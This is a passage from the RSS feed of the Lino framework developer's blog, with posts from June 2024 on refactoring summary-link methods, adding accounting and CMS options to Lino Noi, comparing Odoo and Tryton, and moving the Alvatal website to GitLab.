Django then says &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;Field&lt;/span&gt; &lt;span class="pre"&gt;'id'&lt;/span&gt; &lt;span class="pre"&gt;expected&lt;/span&gt; &lt;span class="pre"&gt;a&lt;/span&gt; &lt;span class="pre"&gt;number&lt;/span&gt; &lt;span class="pre"&gt;but&lt;/span&gt; &lt;span class="pre"&gt;got&lt;/span&gt;
&lt;span class="pre"&gt;&amp;lt;SimpleLazyObject:&lt;/span&gt; &lt;span class="pre"&gt;&amp;lt;lino.core.auth.utils.AnonymousUser&lt;/span&gt; &lt;span class="pre"&gt;object&lt;/span&gt; &lt;span class="pre"&gt;at&lt;/span&gt;
&lt;span class="pre"&gt;0x7f9e52076d90&amp;gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="multiple-invoicing-tasks-and-help-text"&gt;
&lt;h2&gt;&lt;a class="toc-backref" href="#id6" role="doc-backlink"&gt;Multiple invoicing tasks and help_text&lt;/a&gt;&lt;a class="headerlink" href="#multiple-invoicing-tasks-and-help-text" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When a site has multiple invoicing tasks, Lino adds one “Start invoicing” action
for each of them to the &lt;a class="reference external" href="https://using.lino-framework.org/plugins/contacts.html#term-partner" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;partner&lt;/span&gt;&lt;/a&gt; model and to the &lt;cite&gt;invoicing order&lt;/cite&gt;
model. These buttons have the same icon (a shopping basket), but now they have
at least different help texts.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0621.html</guid><pubDate>Fri, 21 Jun 2024 00:00:00 +0000</pubDate></item><item><title>Merge obj2href() and as_summary_row() to as_summary_item()</title><link>https://luc.lino-framework.org/blog/2024/0612.html</link><description>&lt;section id="merge-obj2href-and-as-summary-row-to-as-summary-item"&gt;
&lt;h1&gt;Merge obj2href() and as_summary_row() to as_summary_item()&lt;a class="headerlink" href="#merge-obj2href-and-as-summary-row-to-as-summary-item" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Written between 2024-06-12 and 2024-06-14.&lt;/p&gt;
&lt;p&gt;I merged the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;obj2href()&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;as_summary_row()&lt;/span&gt;&lt;/code&gt; methods of
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model&lt;/span&gt;&lt;/code&gt; into a single method named
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;as_summary_item&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;They did almost the same, both returned a link (an &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="pre"&gt;href=&amp;quot;...&amp;quot;&amp;gt;...&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;/code&gt;
fragment) that opens the detail window of this object. One difference between
them was that &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;obj2href()&lt;/span&gt;&lt;/code&gt; returned an ElementTree element while
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;as_summary_row()&lt;/span&gt;&lt;/code&gt; returned a safe string.  The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;as_summary_item()&lt;/span&gt;&lt;/code&gt;
method returns an ElementTree element. ElementTree is better than safe HTML for
specifying small HTML chunks because it is more flexible and more fool-proof
(and thus actually safer). And at this level we won’t use any templating nor
store the result in a database, so there is no advantage of using safe html. So
I converted the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;as_summary_row()&lt;/span&gt;&lt;/code&gt; methods from generating safe html to
using ElementTree.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;as_summary_item()&lt;/span&gt;&lt;/code&gt; method expects the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;text&lt;/span&gt;&lt;/code&gt; of the link as an optional
positional argument after the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Note: We should also rename the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;obj2html()&lt;/span&gt;&lt;/code&gt; method. But this is another
topic because application developers aren’t supposed to override it.
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;obj2html()&lt;/span&gt;&lt;/code&gt; just returns a link to&lt;/p&gt;
&lt;p&gt;Documentation about this is still poor. I started to move docstrings from
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#module-lino.core.requests" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.api.core.Request&lt;/span&gt;&lt;/code&gt;, but then stopped
because this is yet another huge set of changes. I prefer to do this another
time.&lt;/p&gt;
&lt;p&gt;Usage examples:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.Event" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.Event&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; customizes the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;title&lt;/span&gt;&lt;/code&gt; of the link&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Polymorphic.obj2href() potentially loops over navigatable MTI models
(&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;_mtinav_models&lt;/span&gt;&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Voucher.obj2href() finds the MTI leaf (the implementing document type) before
linking to it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Note.obj2href() customizes the default text to use.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Ticket.obj2href() customizes both title and default text.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ProjectRelated.as_summary_row() adds, between parentheses, a clickable link to
the related project.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;coachings.Coaching.as_summary_row() adds, between parentheses, a clickable link to
the related client.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;comments.Reaction.as_summary_row()&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;publisher.Page.as_summary_row()&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;cal.Component.as_summary_row() adds a bit more information (the start_time, state and summary).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;notes.Note.as_summary_row() adds a bit more information (the subject).&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Calls:&lt;/p&gt;
&lt;p&gt;as_summary_row() is called by&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Actor.row_as_summary()&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Request.row_as_summary()&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;obj2href() is called by&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;TableRow.as_summary_row and get_overview_elems() and as_paragraph()&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;section id="changes"&gt;
&lt;h2&gt;Changes&lt;a class="headerlink" href="#changes" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;converted every &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;as_summary_row()&lt;/span&gt;&lt;/code&gt; to use ElementTree instead of safe html.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Renamed all &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;as_summary_row()&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;obj2href()&lt;/span&gt;&lt;/code&gt; to &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;as_summary_item()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;as_summary_item()&lt;/span&gt;&lt;/code&gt; supports a second optional positional argument &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;text&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;As a consequence, &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;row_as_summary()&lt;/span&gt;&lt;/code&gt; (on both Actor and Request) now
returns an ET element instead of safe html.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TODO: Rename &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;obj2href()&lt;/span&gt;&lt;/code&gt; to &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;as_summary_item()&lt;/span&gt;&lt;/code&gt; or something similar,
and &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;row_as_summary()&lt;/span&gt;&lt;/code&gt; to &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;row_as_summary_item()&lt;/span&gt;&lt;/code&gt;. I leave these renames
to a later commit to keep the changes as transparent as possible.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0612.html</guid><pubDate>Wed, 12 Jun 2024 00:00:00 +0000</pubDate></item><item><title>Saturday, June 8, 2024</title><link>https://luc.lino-framework.org/blog/2024/0608.html</link><description>&lt;section id="saturday-june-8-2024"&gt;
&lt;h1&gt;Saturday, June 8, 2024&lt;a class="headerlink" href="#saturday-june-8-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I had a video meeting with Hamza who gave me quick intro to the PoS module
of Odoo. Oh yes, there is &lt;em&gt;so&lt;/em&gt; much work to do in Lino! Most people might loose
courage! But the answer is clear: Odoo is no free software, so it makes no sense
to compare. It doesn’t even qualify as a candidate.&lt;/p&gt;
&lt;p&gt;It’s sad to think that Odoo was free in its beginnings. Yes, as long as we don’t
make sure that our software is &lt;em&gt;forever&lt;/em&gt; free, sooner or later it will get
jeopardized into a proprietary product because &lt;a class="reference external" href="https://hw.saffre-rumma.net/greedy_giants/#term-greedy-giant" title="(in Human World)"&gt;&lt;span class="xref std std-term"&gt;greedy giants&lt;/span&gt;&lt;/a&gt; have more power than those who care for everybody.&lt;/p&gt;
&lt;p&gt;There is Tryton. I had another quick look at it. It seems to do well and they
obviously have a better sales team than Lino. But my statement on this is the
same as six years ago: We do Lino because &lt;em&gt;we don’t believe that Tryton can
replace Lino.&lt;/em&gt; Tryton is just a big application with plugins while Lino is a
framework.  Lino has some unique features and ways of doing things, which differ
from Tryton, and I guess (but didn’t verify) that I wouldn’t be satisfied with
other approaches. We know that we don’t &lt;em&gt;know&lt;/em&gt; it, we just believe it. It would
take months of research work to prove this. In case you don’t believe me, try to
configure a Tryton site in a way that it has a chance to replace a &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span class="xref std std-ref"&gt;Lino
Presto&lt;/span&gt;&lt;/a&gt; or any other production Lino application of your choice. If you
succeed, you might get me and the whole Lino team join the Tryton project
(excerpts from &lt;a class="reference external" href="https://luc.lino-framework.org/blog/2018/1211.html"&gt;2018-12-11&lt;/a&gt; and
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;book/docs/tickets/51.rst&lt;/span&gt;&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;After these lamentations I had another look at our public demo page and the
documentation about Noi and Così, and I updated the following pages:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.lino-framework.org/demos.html"&gt;https://www.lino-framework.org/demos.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://using.lino-framework.org/apps/noi"&gt;https://using.lino-framework.org/apps/noi&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi"&gt;https://dev.lino-framework.org/apps.html#noi&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://using.lino-framework.org/apps/cosi/"&gt;https://using.lino-framework.org/apps/cosi/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi"&gt;https://dev.lino-framework.org/apps.html#cosi&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No, it’s not finished (it will never be finished ;-) but it got again a bit
better.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0608.html</guid><pubDate>Sat, 08 Jun 2024 00:00:00 +0000</pubDate></item><item><title>A Lino for Alvatal</title><link>https://luc.lino-framework.org/blog/2024/0602.html</link><description>&lt;section id="a-lino-for-alvatal"&gt;
&lt;h1&gt;A Lino for Alvatal&lt;a class="headerlink" href="#a-lino-for-alvatal" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;June 2–3, 2024&lt;/p&gt;
&lt;p&gt;I am working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5636"&gt;#5636&lt;/a&gt; (A Lino for Alvatal). After a first brainstorming
I assume they need a Lino Noi, but &lt;em&gt;with&lt;/em&gt; content management (publisher, blogs
albums) and &lt;em&gt;without&lt;/em&gt; accounting (invoicing, service reports).&lt;/p&gt;
&lt;p&gt;So I created &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5637"&gt;#5637&lt;/a&gt; (New options with_accounting and with_cms for Noi)
and added two new plugin settings
&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;noi.with_accounting&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;noi.with_cms&lt;/span&gt;&lt;/code&gt;.  When one of these
options is &lt;cite&gt;False&lt;/cite&gt;, then a series of plugins is set to “hidden”:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;noi.with_accounting&lt;/span&gt;&lt;/code&gt; : &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;accounting&lt;/span&gt;&lt;/code&gt;, &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;vat&lt;/span&gt;&lt;/code&gt;, &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;trading&lt;/span&gt;&lt;/code&gt;, …&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;noi.with_cms&lt;/span&gt;&lt;/code&gt; : &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;sources&lt;/span&gt;&lt;/code&gt;, &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;blogs&lt;/span&gt;&lt;/code&gt;, &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;albums&lt;/span&gt;&lt;/code&gt;, …&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I created a new demo project &lt;a class="reference external" href="https://dev.lino-framework.org/projects/noi2.html#dg-projects-noi2" title="(in Lino Developer Guide)"&gt;&lt;span&gt;noi2 : Noi with publisher and without accounting&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Because the concept of hiding plugins is relatively new, this revealed a few
places in the core where Lino did not yet manage well with hidden plugins. When
a plugin is hidden, then it remains installed (especially for the database
schema) but is not visible to the end users.&lt;/p&gt;
&lt;p&gt;For example the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/products.html#lino_xl.lib.products.Product.vat_class" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.products.Product.vat_class&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field is hidden
in &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;noi2&lt;/span&gt;&lt;/code&gt; because the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;vat&lt;/span&gt;&lt;/code&gt; plugin is hidden. Hidden means that it is there
in the database, but not visible to end users.
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;products.Products.column_names&lt;/span&gt;&lt;/code&gt; has a field &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;vat_class&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;products&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Products&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;column_names&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;id name category vat_class *&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;products&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Products&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;==== ============= ================== ==========&lt;/span&gt;
&lt;span class="go"&gt; ID   Designation   Designation (et)   Category&lt;/span&gt;
&lt;span class="go"&gt;---- ------------- ------------------ ----------&lt;/span&gt;
&lt;span class="go"&gt; 2    Extra         Extra&lt;/span&gt;
&lt;span class="go"&gt; 3    Free          Free&lt;/span&gt;
&lt;span class="go"&gt; 1    Regular       Regular&lt;/span&gt;
&lt;span class="go"&gt;==== ============= ================== ==========&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After playing with this for some time (and fixing most but not all issues), I
decided or realized that it’s better to implement these two options by &lt;em&gt;not
installing&lt;/em&gt; the related plugins rather than &lt;em&gt;hiding&lt;/em&gt; them.  Which also meant to
implement the two new settings as &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#term-site-setting" title="(in Lino Hosting Guide)"&gt;&lt;span class="xref std std-term"&gt;site settings&lt;/span&gt;&lt;/a&gt;, not as
&lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#term-plugin-setting" title="(in Lino Hosting Guide)"&gt;&lt;span class="xref std std-term"&gt;plugin settings&lt;/span&gt;&lt;/a&gt;. An option that decides which plugins
are to get installed cannot be a plugin setting because it must be known when
the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site&lt;/span&gt;&lt;/code&gt; instantiates.&lt;/p&gt;
&lt;p&gt;So Lino Noi has now two site settings (or “application options”)
&lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/api.html#lino_noi.lib.noi.settings.Site.with_accounting" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;with_accounting&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
&lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/api.html#lino_noi.lib.noi.settings.Site.with_cms" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;with_cms&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I am not sure whether it would have been possible to implement it by just hiding
the relevant plugins. I didn’t dig further into that direction because I can’t
imagine any advantage in being able to change these options &lt;em&gt;without&lt;/em&gt; also
having to migrate the database.&lt;/p&gt;
&lt;p&gt;Some days ago I merged the pages plugin into the publisher plugin as a side
effect of &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5633"&gt;#5633&lt;/a&gt; (Special pages). Now I discovered a side effect of this
side effect: the publisher plugin now influences the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/menu.html#term-application-menu" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;application menu&lt;/span&gt;&lt;/a&gt;,
it causes a “Publisher” menu to appear, and in  &lt;a class="reference external" href="https://dev.lino-framework.org/projects/noi2.html#dg-projects-noi2" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-ref"&gt;noi2&lt;/span&gt;&lt;/a&gt;
it appeared even before the “Contacts” menu.  That was disturbing.  I fixed this
by calling the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;super()&lt;/span&gt;&lt;/code&gt; method in Noi’s &lt;a class="reference external" href="https://dev.lino-framework.org/dev/site.html#lino.core.site.Site.get_installed_plugins" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_installed_plugins&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; at the end, not at the beginning. I
reviewed the docs about &lt;a class="reference external" href="https://dev.lino-framework.org/dev/site.html#dg-site-get-installed-plugins" title="(in Lino Developer Guide)"&gt;&lt;span&gt;How Lino builds the INSTALLED_APPS setting&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A side effect of  &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5637"&gt;#5637&lt;/a&gt; (New options with_accounting and with_cms for
Noi) is that Noi no longer has the publisher plugin installed when &lt;cite&gt;with_cms&lt;/cite&gt; is
&lt;cite&gt;False&lt;/cite&gt;. Which makes sense, the publisher plugin in the “classical” Noi was
rather accidentally there.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0602.html</guid><pubDate>Sun, 02 Jun 2024 00:00:00 +0000</pubDate></item><item><title>Alvatal moved from GitHub to GitLab</title><link>https://luc.lino-framework.org/blog/2024/0530.html</link><description>&lt;section id="alvatal-moved-from-github-to-gitlab"&gt;
&lt;h1&gt;Alvatal moved from GitHub to GitLab&lt;a class="headerlink" href="#alvatal-moved-from-github-to-gitlab" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Thursday, May 30, 2024&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://www.alvatal.ee"&gt;alvatal.ee&lt;/a&gt; website is now hosted on GitLab.&lt;/p&gt;
&lt;p&gt;Alvatal, short for “Estonian Free and Open-Source Software Association” is a
non-profit umbrella organization for Estonian open-source and free software
initiatives.&lt;/p&gt;
&lt;p&gt;Alvatal is led by &lt;a class="reference external" href="https://edmund.laugasson.net/"&gt;Edmund Laugasson&lt;/a&gt; who
dedicated many years of his life as full-time activist helping deciders to opt
for FOSS and companies to offer professional services.&lt;/p&gt;
&lt;p&gt;The website is made using &lt;a class="reference external" href="https://jekyllrb.com/"&gt;Jekyll&lt;/a&gt;.
Lauri Võsandi created it in December 2014 and maintained it until
September 2016 (&lt;a class="reference external" href="https://github.com/alvatal/alvatal.github.io/commit/a61aaa7d73b0fa8ae759a08d48ef937a78468985"&gt;initial commit&lt;/a&gt;).&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Website: &lt;a class="reference external" href="https://www.alvatal.ee"&gt;https://www.alvatal.ee&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Project page on GitLab: &lt;a class="reference external" href="https://gitlab.com/alvatal/www"&gt;https://gitlab.com/alvatal/www&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At least one problem is still open: the present blog post does not appear in the
&lt;a class="reference external" href="https://www.alvatal.ee/en/news/"&gt;news section&lt;/a&gt; even though I added my blog
to the &lt;a class="reference external" href="https://gitlab.com/alvatal/www/-/blob/master/planet_en.yml?ref_type=heads"&gt;planet_en.yml&lt;/a&gt;
file and GitLab &lt;a class="reference external" href="https://gitlab.com/alvatal/www/-/jobs/6981067570#L1034"&gt;reports&lt;/a&gt; “Parsing
&lt;a class="reference external" href="https://luc.lino-framework.org/rss.xml"&gt;https://luc.lino-framework.org/rss.xml&lt;/a&gt;”. But planet then ignores all blog posts,
even this one, which starts with “Alvatal” (the keyword defined in
&lt;cite&gt;whitelisted_tags&lt;/cite&gt;).&lt;/p&gt;
&lt;p&gt;I converted my Sphinx newsfeed generator (&lt;a class="reference external" href="https://github.com/lsaffre/sphinxfeed"&gt;sphinxfeed&lt;/a&gt;) to generate &lt;a class="reference external" href="https://validator.w3.org/feed/docs/atom.html"&gt;ATOM&lt;/a&gt; instead of RSS (a task for
which I had to read the docs and the code of &lt;a class="reference external" href="https://feedgen.kiesow.be/"&gt;feedgen&lt;/a&gt;), but that too didn’t fix the issue.&lt;/p&gt;
&lt;p&gt;Right now i do not know any further…&lt;/p&gt;
&lt;section id="id1"&gt;
&lt;h2&gt;2024-06-01&lt;a class="headerlink" href="#id1" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I guess that RSS or ATOM has some concept of tags, and sphinxfeed doesn’t create
such tags. I now checked the xml files of the two blog entries that get
selected, and indeed the atom.xml file of one of the selected blog posts has a
following &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;category&amp;gt;&lt;/span&gt;&lt;/code&gt; element:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;feed&lt;/span&gt; &lt;span class="n"&gt;xmlns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://www.w3.org/2005/Atom&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;...&amp;gt;&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;category&lt;/span&gt; &lt;span class="n"&gt;scheme&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://www.blogger.com/atom/ns#&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;term&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;alvatal&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
              &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;text&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;alvatal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt; &lt;span class="n"&gt;lehel&lt;/span&gt; &lt;span class="n"&gt;hakkas&lt;/span&gt; &lt;span class="n"&gt;tööle&lt;/span&gt; &lt;span class="n"&gt;HTTPS&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;protokoll&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So I extended &lt;a class="reference external" href="https://github.com/lsaffre/sphinxfeed"&gt;sphinxfeed&lt;/a&gt; to look for
